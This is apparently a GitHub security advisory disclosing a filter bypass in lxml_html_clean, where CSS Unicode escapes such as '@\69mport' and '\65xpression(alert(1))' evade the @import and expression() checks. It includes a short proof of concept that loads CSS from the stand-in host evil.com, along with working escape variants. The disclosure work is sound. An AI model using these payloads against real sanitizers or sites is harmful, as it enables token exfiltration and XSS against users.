GHSA-hw26-mmpg-fqfg

### Summary The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers. ### Details The root cause is located in `clean.py` (around line 594): ```python style = style.replace('\\', '') ``` This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers' CSS parsers decode `\69` as the character 'i' (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement. Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only). ### PoC ```python from lxml_html_clean import clean_html # Normal @import is correctly blocked: # clean_html('<style>@import url("http://evil.com/x.css");</style>') # Output: <div><style> url("http://evil.com/x.css");</style></div> # Unicode escape bypass: result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>') print(result) # Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div> ``` If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work. ### Impact External CSS loading enables data exfiltration via attribute selectors (e.g., reading CSRF tokens), UI redressing, and phishing. In older browsers (IE), this allows for full XSS via `expression()`.